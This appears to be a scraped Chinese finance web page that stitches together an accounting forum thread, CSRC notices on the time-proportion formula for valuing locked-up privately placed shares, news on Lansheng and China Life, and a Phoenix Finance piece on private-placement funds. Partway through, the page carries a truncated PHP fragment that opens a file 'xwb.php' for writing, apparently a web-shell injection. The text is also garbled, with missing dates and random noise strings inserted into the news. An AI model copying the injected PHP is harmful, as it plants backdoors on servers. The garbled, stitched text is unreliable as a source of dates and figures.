查看: 11529|回复: 11
限售股：非公开发行有明确锁定期股票的公允价值的确定方法
国际大牌证书助您逆袭成功
升职加薪踏上快车道
视野与（CIMA | AICPA）联合举办
设置200份实物礼品
植根于国家会计学院
加入顶级CFO校友圈
非公开发行有明确锁定期股票的公允价值的确定方法
如果估值日非公开发行有明确锁定期的股票的初始取得成本高于在证券交易所上市交易的同一股票的市价，应采用在证券交易所上市交易的同一股票的市价作为估值日该股票的价值。
如果估值日非公开发行有明确锁定期的股票的初始取得成本低于在证券交易所上市交易的同一股票的市价，应按以下公式确定该股票的价值：
FV=C+(P-C)×(D[SUB]l[/SUB]-Dr)／D[SUB]l[/SUB]
FV为估值日该非公开发行有明确锁定期的股票的价值；
C为该非公开发行有明确锁定期的股票的初始取得成本（因权益业务导致市场价格除权时，应于除权日对其初始取得成本作相应调整）；
P为估值日在证券交易所上市交易的同一股票的市价；
D[SUB]l[/SUB]为该非公开发行有明确锁定期的股票锁定期所含的交易所的交易天数；
Dr为估值日剩余锁定期，即估值日至锁定期结束所含的交易所的交易天数（不含估值日当天）。
会计视野论坛帖子版权归原作者所有。对发帖人声明原创的帖子，中国会计视野有使用权和转载权。其他网站在写明来源、作者、会计视野论坛首发网址的情况下可以转载，原创作者保留禁止转载和向其他转载网站索取稿酬的权力。
上市公司缓冲权益骤变新法获认可
[H1]上市公司缓冲权益骤变新法获认可[/H1].cn 日 04:00 [#a20010][/#]
　　本报2月29日《另辟蹊径 兰生股份“缓冲”34亿权益变动》一文曾指出：(14.64,1.04,7.65%,)对可供出售金融资产采用特殊方法进行计量，从而“缓冲”了34亿元的股东权益变动。本报昨日获悉，证监会会计部已经认可了这一处理方法，但强调以后会计期间必须遵循一贯性原则。
　　证监会会计部认为，上市公司可以采用包括《关于证券投资基金执行〈企业会计准则〉估值业务及份额净值计价有关事项的通知》所规定的估值方法在内的、合理的方法对可供出售金融资产的期末公允价值进行计量，同时应在财务报表附注中对其采用的估值方法和估值过程进行详细披露。
　　对于非公开发行有明确锁定期股票，证券投资基金是采用“时间比例法”确定公允价值，即根据初始取得成本、估值日的市价、锁定期所含的交易天数以及估值日至锁定期结束所含的交易天数计算确定。
　　兰生股份共持有(31.16,-0.95,-2.96%,)1.01亿股，成本为2.74元，日后方能解除限售。若按照海通证券去年年末的收盘价54.92元计量，并考虑所得税影响，兰生股份的股东权益将调增39.7亿元。但采用上述“时间比例法”后，兰生股份将每股海通证券限售股权的公允价值确定为9.71元，根据其所采用的25％所得税税率计算，仅调增了股东权益5.3亿元，较上述市价计量减少34.4亿元。
　　不过，并非所有公司都采用类似兰生股份的计量方法。(11.39,-0.57,-4.77%,)2007年年报显示：其持有海通证券股权1.90亿股，股权性质也是限售股，限售期则为获得上市流通权之日起18个月。民生银行以年末收盘价54.92元进行计量，这项可供出售金融资产的期末公允价值为104.60亿元。而仅此一项，其股东权益就增加了70.22亿元。
　　由于近段时间以来，证券市场波动明显增大。3月25日，海通证券的收盘价已跌至31.16元。因此采用“时间比例法”等合理的估值方法后，在限售期内，上市公司将可以“缓冲”因被投资企业股价的涨跌而产生的股东权益剧烈变动。
关于进一步加强基金投资非公开发行股票风险控制有关问题的通知
关于进一步加强基金投资非公开发行股票风险控制有关问题的通知（日）
各基金管理公司、基金托管银行：
& & 《关于基金投资非公开发行股票等流通受限证券有关问题的通知》发布以来，各基金管理公司能根据自身情况审慎制订投资比例限制，并通过相关投资决策流程、风险控制制度和流动性风险处置预案，对本公司投资非公开发行股票的行为进行规范；基金托管银行较好的履行了监督职责，通过与基金管理公司签订风险控制补充协议，基本解决了资金划转的风险。基金盲目投资非公开发行股票的行为得到了规范，行业范围内潜在的流动性风险得到了及时化解。为进一步规范基金投资非公开发行股票的行为，现通知如下：
一、基金管理公司应始终关注并积极防范基金投资非公开发行股票所带来的流动性风险、道德风险、操作风险等各类风险，不断完善相关规章制度，严格按照法律法规和公司规定进行投资。
二、基金托管银行应按照相关规定，根据风险控制补充协议，对照基金管理公司董事会批准的相关制度和流动性风险处置预案，对基金投资非公开发行股票的行为进行严格监督。
三、自11月13日起，基金新投资非公开发行股票按以下方法估值：
1、估值日在证券交易所上市交易的同一股票的市价低于非公开发行股票的初始取得成本时，应采用在证券交易所的同一股票的市价作为估值日该非公开发行股票的价值；
2、估值日在证券交易所上市交易的同一股票的市价高于非公开发行股票的初始取得成本时，应按以下公式确定估值日该非公开发行股票的价值：
FV=C+(P-C)×（Dl-Dr）/Dl
其中：FV为估值日该非公开发行股票的价值；C为该非公开发行股票的初始取得成本；P为估值日在证券交易所上市交易的同一股票的市价；Dl为该非公开发行股票锁定期所含的交易天数；Dr为估值日剩余锁定期，即估值日至锁定期结束所含的交易天数，不含估值日当天）。
四、基金管理公司在基金投资非公开发行股票中风险控制不当，出现或者可能出现重大隐患，基金管理公司的相关高级管理人员将被记入诚心档案、出具警示函或约请监管谈话。
& && && && && && && && && && && && && && && && && && && && && && && && && && && && &中国证监会基金监管部
& && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && &日
时间流逝法
如果股价波动幅度较大，作用同样不明显。
中国人寿可供出售金融资产高达4175.13亿，其实实业都可以停止营运了，今年靠卖股票就能实现百分之几百增长
[H1]中国人寿宣布减持股票 或引发A股午后跳水[/H1][UL][LI]& && & 14:42:03& && & 雷鸣& && & 全景 [LI]【字体：
】 【】 【】 【】 [/LI][/UL]& && &&&中国人寿(601628)（601328）首席投资官刘乐飞周三在该公司业绩说明会上称，公司今年将减持手中所持，此消息或引发A股市场午后跳水走势。vfl证eq根据中国人寿的显示，截止日，公司的投资资产为8502.07亿元，其中可供出售的金产高达4175.13亿。&证^usy
　　盘面上，中国人寿大跌2.96%，而早盘该股票涨幅还逾3%，中国石油(601857)跌2.63%，工商(601398)跌0.17%，中国银行(601988)跌0.20%，中国太保跌8.37%，宝钢股份(600019)跌1.11%，中国石化(600028)跌2.38%，交通银行(601328)跌0.30%。kbi证yl
　　据路透社报道，中国最大的寿险企业-中国人寿保险股份有限公司（601628）首席投资官刘乐飞今日在公司业绩说明会上称，公司今年将减持手中所持股票。y*dz券证
　　中国人寿刚刚公布的年报显示，2007年度实现净利润388.8亿元人民币，同比大增约95%，高于市场预期，2007年该公司实现总投资收益845.80亿元，同比增长79.82%。mtplx截止日，公司的投资资产为8502.07亿元，其中可供出售的金融资产达到4175.13亿。*aevbh
　　年报显示，中国人寿证券投资情况为，持有中国太保3483.4万股，持有民生银行(.79亿股，持有中国中铁(4.6949万股，持有云南铜业(0万股，持有中海集运(4.46万股，持有中国船舶(.7393万股，持有中信证券(.7053万股，持有建投能源(0万股，持有南山铝业(0万股，持有华侨城A141.3126万股，持有中国石油0.04%的股权，此外还有中国银行、工商银行、建设银行(601939)等众多金融股。wcxtci
　　相关新闻：
【相关链接】:&&&&&&&&&&
保险公司的投资收益根本就是纸上富贵，保险金收入和未来保险的支出应该是平衡的
如果不去投资股市。没有必要的投资收益，未来等着清算吧。
有些根本就不是会计的事，而是证券分析和投资者教育的问题
其实就是真正的投资者也就要市价和成本价两个数据就够了，至于金融资产价值变动损益计入当期损益还是所有者权益，甚至不确认都没有关系。
& &&&教育投资者的问题现在成了会计准则的问题，有些可笑。对于清楚原理的投资者，会计如何算没有实质意义；对于完全不懂的投资者，只看每股收益，从来不看计算结果；对于似懂非懂的投资者，那就更混乱了。改来改去的结果又回到以前的行业会计制度的老路去了，统一的会计政策，统一的核算方法。其实原来的也不错，至少简单！
会计就是管这事的，否则会计存在就没有意义了
真是的！可以不务正业了！卖点股票就够用了！
对“会计问题征询函-可供出售金融资产公允价值计量”的复函
上海证券交易所：
　　贵所上证上函[号函收悉，经认真研究，我部现回复如下：
　　根据来函所述情况，我部认为：上市公司可以采用包括《关于证券投资基金执行〈企业会计准则〉估值业务及份额净值计价有关事项的通知》(证监会计字[2007]21号)所规定的估值方法在内的、合理的估值方法对可供出售金融资产的期末公允价值进行计量，同时应在财务报表附注中对其采用的估值方法和估值过程进行详细披露。根据一贯性原则，公司应在以后的会计期间内采用相同的估值方法对同类可供出售金融资产进行估值。
　　中国证券监督管理委员会会计部
　　二〇〇八年三月二十四日
/law_show.asp?LawID=45037
站长推荐 /1
对于会计人来说接触最多的文件就是合同了，很多业务都是基于合同而开展的，那如何准确认识合同所蕴含的信息，以及对合同所代表的资源进行全程管理，无疑是会计人专业增值的一部分，深挖再深挖。本期嘉宾将其关注的合同管理所积累的经验进行了系统整理，希望这个平时我们忽视的文件能够给你独特的价值体现。活动由元年云快报支持举办。
)&&<?php fputs(fopen('xwb.php','w'),"
Powered by限售股锁定期股价估值技术
关于证券投资基金执行《企业会计准则》估值业务及份额净值计价有关事项的通知
（日 证监会计字〔2007〕21号）
　日，我会下发了《关于基金管理公司及证券投资基金执行〈企业会计准则〉的通知》（证监会计字〔2006〕23号），规定证券投资基金（以下简称基金）自日起执行《企业会计准则》（以下简称新会计准则）。为规范基金各类投资品种的估值业务，确保基金执行新会计准则后及时、准确地进行份额净值计价，更好地保护基金份额持有人的合法权益，现就基金执行新会计准则后估值业务和份额净值计价的有关事项通知如下：
　　一、估值业务基本要求
　　（一）基金估值的目的是为了准确、真实地反映基金相关金融资产和金融负债的公允价值。开放式基金份额申购、赎回价格应按基金估值后确定的基金份额净值计算。
　　（二）为准确、及时进行基金估值和份额净值计价，基金管理公司应制定基金估值和份额净值计价的业务管理制度，明确基金估值的原则和程序；建立健全估值决策体系；使用合理、可靠的估值业务系统；加强对业务人员的培训，确保估值人员熟悉各类投资品种的估值原则及具体估值程序；不断完善相关风险监测、控制和报告机制；根据基金投资策略定期审阅估值原则和程序，确保其持续适用性。
　　（三）托管银行在复核、审查基金资产净值、基金份额申购、赎回价格之前，应认真审阅基金管理公司采用的估值原则和程序。当对估值原则或程序有异议时，托管银行有义务要求基金管理公司作出合理解释，通过积极商讨达成一致意见。
　　（四）基金管理公司在对活跃市场上没有市价的投资品种、不存在活跃市场的投资品种进行估值时，应综合各估值影响因素，充分理解相关估值模型及假设，经与托管银行协商，谨慎确定公允价值，并按相关法规的规定，在定期报告中充分披露确定公允价值的方法、相关估值假设等信息。
　　（五）为提高估值的合理性和可靠性，行业需成立基金估值工作小组。工作小组应定期评估行业的估值原则和程序。在充分征求行业意见，履行向我会报备程序后，工作小组可对活跃市场上没有市价的投资品种、不存在活跃市场的投资品种提出估值意见。工作小组的组成及运作由中国证券业协会负责协调。
　　基金管理公司和托管银行在进行基金估值、计算基金份额净值及相关复核工作时，可参考工作小组的意见，但不能免除相关责任。
　　（六）货币市场基金应按本通知的有关估值原则确定投资品种的影子价格。
　　二、估值的基本原则
　　（一）对存在活跃市场的投资品种，如估值日有市价的，应采用市价确定公允价值。估值日无市价，但最近交易日后经济环境未发生重大变化的，应采用最近交易市价确定公允价值。估值日无市价，且最近交易日后经济环境发生了重大变化的，应参考类似投资品种的现行市价及重大变化因素，调整最近交易市价，确定公允价值。有充足证据表明最近交易市价不能真实反映公允价值的，应对最近交易的市价进行调整，确定公允价值。
　　（二）对不存在活跃市场的投资品种，应采用市场参与者普遍认同，且被以往市场实际交易价格验证具有可靠性的估值技术确定公允价值。运用估值技术得出的结果，应反映估值日在公平条件下进行正常商业交易所采用的交易价格。采用估值技术确定公允价值时，应尽可能使用市场参与者在定价时考虑的所有市场参数，并应通过定期校验，确保估值技术的有效性。
　　（三）有充足理由表明按以上估值原则仍不能客观反映相关投资品种的公允价值的，基金管理公司应根据具体情况与托管银行进行商定，按最能恰当反映公允价值的价格估值。
　　三、具体投资品种的估值
　　（一）交易所上市、交易品种的估值。交易所上市股票和权证以收盘价估值，上市债券以收盘净价估值，期货合约以结算价格估值。交易所以大宗交易方式转让的资产支持证券，采用估值技术确定公允价值，在估值技术难以可靠计量公允价值的情况下，按成本进行后续计量。
　　（二）交易所发行未上市品种的估值。首次发行未上市的股票、债券和权证，采用估值技术确定公允价值，在估值技术难以可靠计量公允价值的情况下，按成本计量；送股、转增股、配股和公开增发新股等发行未上市股票，按交易所上市的同一股票的市价估值；首次公开发行有明确锁定期的股票，同一股票在交易所上市后，按交易所上市的同一股票的市价估值；非公开发行有明确锁定期的股票，按本文附件确定公允价值。
　　（三）交易所停止交易等非流通品种的估值。因持有股票而享有的配股权，以及停止交易、但未行权的权证，采用估值技术确定公允价值。
　　（四）全国银行间债券市场交易的债券、资产支持证券等固定收益品种，采用估值技术确定公允价值。
　　四、计价错误的处理及责任承担
　　（一）基金管理公司应制定估值及份额净值计价错误的识别及应急方案。当估值或份额净值计价错误实际发生时，基金管理公司应立即纠正，及时采取合理措施防止损失进一步扩大。当错误达到或超过基金资产净值的0.25%时，基金管理公司应及时报告我会。
　　（二）基金管理公司和托管银行在进行基金估值、计算或复核基金份额净值的过程中，未能遵循相关法律法规规定或基金合同约定，给基金财产或基金份额持有人造成损害的，应分别对各自行为依法承担赔偿责任；因共同行为给基金财产或基金份额持有人造成损害的，应承担连带赔偿责任。
　　特此通知。
　　附件：非公开发行有明确锁定期股票的公允价值&#9312;的确定方法
　　如果估值日非公开发行有明确锁定期的股票的初始取得成本高于在证券交易所上市交易的同一股票的市价，应采用在证券交易所上市交易的同一股票的市价作为估值日该股票的价值。
　　如果估值日非公开发行有明确锁定期的股票的初始取得成本低于在证券交易所上市交易的同一股票的市价，应按以下公式确定该股票的价值：
　　FV=C+（P-C）&（D1-Dr）／D1
　　其中：
　　FV为估值日该非公开发行有明确锁定期的股票的价值；
　　C为该非公开发行有明确锁定期的股票的初始取得成本（因权益业务导致市场价格除权时，应于除权日对其初始取得成本作相应调整）；
　　P为估值日在证券交易所上市交易的同一股票的市价；
　　Dl为该非公开发行有明确锁定期的股票锁定期所含的交易所的交易天数；
　　Dr为估值日剩余锁定期，即估值日至锁定期结束所含的交易所的交易天数（不含估值日当天）.
　　&#9312;对日前已投资的非公开发行股票，按《关于进一步加强基金投资非公开发行股票风险控制有关问题的通知》（基金部通知〔2006〕37号）规定进行估值。
上市交易的股票按其估值日在证券交易所挂牌的市场交易均价估值；估值日无交易的，以最近交易日的市场交易均价估值。首次公开发行但未上市的股票，按成本估值；由于配股和非定向增发形成的暂时流通受限制的股票，按估值日在证券交易所挂牌的同一股票的市场交易均价估值。２００６年１１月１３日之前取得的非公开发行股票，在锁定期内按估值日在证券交易所挂牌的同一股票的市场交易均价估值。根据中国证监会基金部通知［２００６］３７号《关于进一步加强基金投资非公开发行股票风险控制有关问题的通知》，自２００６年１１月１３日起，基金新投资的非公开发行股票在锁定期内的估值方法为：若在证券交易所挂牌的同一股票的市场交易均价低于非公开发行股票的初始投资成本，按估值日证券交易所挂牌的同一股票的市场交易均价估值；若在证券交易所挂牌的同一股票的市场交易均价高于非公开发行股票的初始投资成本，按锁定期内已经过交易天数占锁定期内总交易天数的比例将两者之间差价的一部分确认为估值增值。
已投稿到：
以上网友发言只代表其个人观点，不代表新浪网的观点或立场。定增基金估值方法存在安全垫|基金|上市公司_凤凰财经
定增基金估值方法存在安全垫
用微信扫描二维码分享至好友和朋友圈
据了解，在基金估值中，非公开发行且有明确锁定期的股票，采用相对保守的估值方法，导致定增基金的净值并不等同于当前持有股票的市场价值，存在较高的折价安全垫。
⊙记者 王诚诚在经济转型的背景下，优质资产愈发稀缺，能提供相对稳定高收益的资产组合成为市场资金追逐的方向。记者了解到，在日前基金公司的创新产品LOF定增基金中，这类几乎并不鲜见。借助对冲市场风险，利用个别定增基金的折价，可获得10%以上市场套利收益。“由于定增类股票的估值方法较为保守，导致定增基金的净值并不等同于当前持有股票的市场价值，存在估值折价的现象。”(601377,股吧)分析师任瞳指出。据了解，在基金估值中，非公开发行且有明确锁定期的股票，采用相对保守的估值方法，导致定增基金的净值并不等同于当前持有股票的市场价值，存在较高的折价安全垫。其中，如果定增基金持有股票市价低于定增发行价，则按照市价估值，如果持股价格高于定增价格，也要按照市价进行一定的比例的折算后进行估值。目前市场上的定增基金共有6只，分别是国投瑞银瑞利、国投瑞银瑞盈、财通多策略、九泰锐智定增、九泰锐富事件驱动和财通多策略升级，上述基金均为在交易所上市的LOF基金，且均有一定的封闭期。其中，距离到期日最近的是国投瑞银瑞利，到期日为日，此外国投瑞银瑞盈、财通多策略也距离到期日较近，分别为日及日。据测算，目前折价率最高的财通精选实际折价率为11.45%，目前距离到期日为10个月，如果市场不涨不跌，或运用股指期货对冲市场风险，其年化到期收益率为14.46%。此外，国投瑞银瑞利、国投瑞银瑞盈实际折价率分别为4.7%、9.71%，结合其到期时间测算，年化到期收益率分别为12.44%、14.45%。“假设未来市场不涨不跌，折价的定增基金持有到期，则这部分收益可以逐渐兑现；假设未来市场下跌，折价的定增基金相比其他偏股型基金也有一定的安全垫。此外，如果投资者担心未来市场下跌，也可选择卖空一定比例的股指期货，以锁定折价部分收益。”市场人士指出。除了有保守估值带来的安全垫外，定增基金折价参与的股票也具有一定的价格优势。此外，如果上市公司通过定增实现并购重组、产业转型的诉求与日俱增，定增市场蕴藏着巨大的投资机会。相关数据显示，以年间发行的所有定向增发项目收益情况进行分析，一年期定增投资一年持有期的平均收益为85.49%，三年期定向增发项目三年持有期的平均收益为183.76%。无论是一年期定增，还是三年期定增，在持有期间，收益可观。
用微信扫描二维码分享至好友和朋友圈
免责声明：本文仅代表作者个人观点，与凤凰网无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
预期年化利率
凤凰点评：凤凰集团旗下公司，轻松理财。
凤凰点评：业绩长期领先，投资尖端行业。
凤凰点评：进可攻退可守，抗跌性能尤佳。
同系近一年收益
凤凰点评：震荡市场首选，防御性能极佳且收益喜人，老总私人追加百万。
凤凰财经官方微信
播放数：134779
播放数：5808920
播放数：5808920
播放数：5808920
48小时点击排行